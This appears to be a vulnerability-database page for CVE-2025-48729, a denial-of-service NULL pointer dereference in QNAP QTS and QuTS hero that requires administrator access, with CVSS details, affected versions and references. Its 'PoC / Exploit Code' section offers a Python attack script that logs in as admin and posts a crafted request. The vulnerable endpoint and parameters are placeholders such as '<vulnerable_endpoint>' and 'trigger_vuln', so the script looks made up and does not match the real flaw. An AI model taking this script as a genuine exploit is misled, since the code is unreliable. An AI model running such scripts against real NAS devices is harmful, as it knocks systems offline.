CVE-2025-48729

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS < 5.2.6.3195 build 20250715

QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-48729 PoC - QNAP NULL Pointer Dereference DoS
# Vulnerability: NULL Pointer Dereference in QNAP QTS/QuTS hero
# Requirement: Valid administrator credentials
# Impact: Denial of Service (System Crash/Hang)

import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "https://<qnap-nas-ip>:8080"
ADMIN_USER = "admin"
ADMIN_PASS = "<admin_password>"

def exploit_null_deref():
    """
    Trigger NULL pointer dereference by sending crafted request
    to vulnerable QNAP system service after authentication.
    """
    session = requests.Session()
    session.verify = False

    # Step 1: Authenticate as administrator
    login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi"
    login_payload = {
        "user": ADMIN_USER,
        "pwd": ADMIN_PASS,
        "serviceName": "qnap"
    }

    try:
        resp = session.post(login_url, data=login_payload, timeout=10)
        if resp.status_code != 200:
            print("[-] Authentication failed")
            return False
        print("[*] Authenticated as administrator")
    except Exception as e:
        print(f"[-] Connection error: {e}")
        return False

    # Step 2: Trigger NULL pointer dereference via vulnerable endpoint
    # The vulnerable service fails to validate pointer before dereference
    vuln_url = f"{TARGET_HOST}/cgi-bin/<vulnerable_endpoint>.cgi"
    crafted_payload = {
        # Crafted parameters that trigger NULL pointer path
        "param": "\x00",
        "action": "trigger_vuln"
    }

    try:
        resp = session.post(vuln_url, data=crafted_payload, timeout=5)
        print(f"[*] Request sent, status: {resp.status_code}")
    except requests.exceptions.Timeout:
        print("[+] Target appears to be unresponsive - DoS likely successful")
        return True
    except requests.exceptions.ConnectionError:
        print("[+] Connection refused - Target service crashed")
        return True
    except Exception as e:
        print(f"[*] Response: {e}")

    return False

if __name__ == "__main__":
    print(f"[*] Targeting: {TARGET_HOST}")
    exploit_null_deref()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48729
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48729
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48729/
[4] VulDB https://vuldb.com/cve/CVE-2025-48729
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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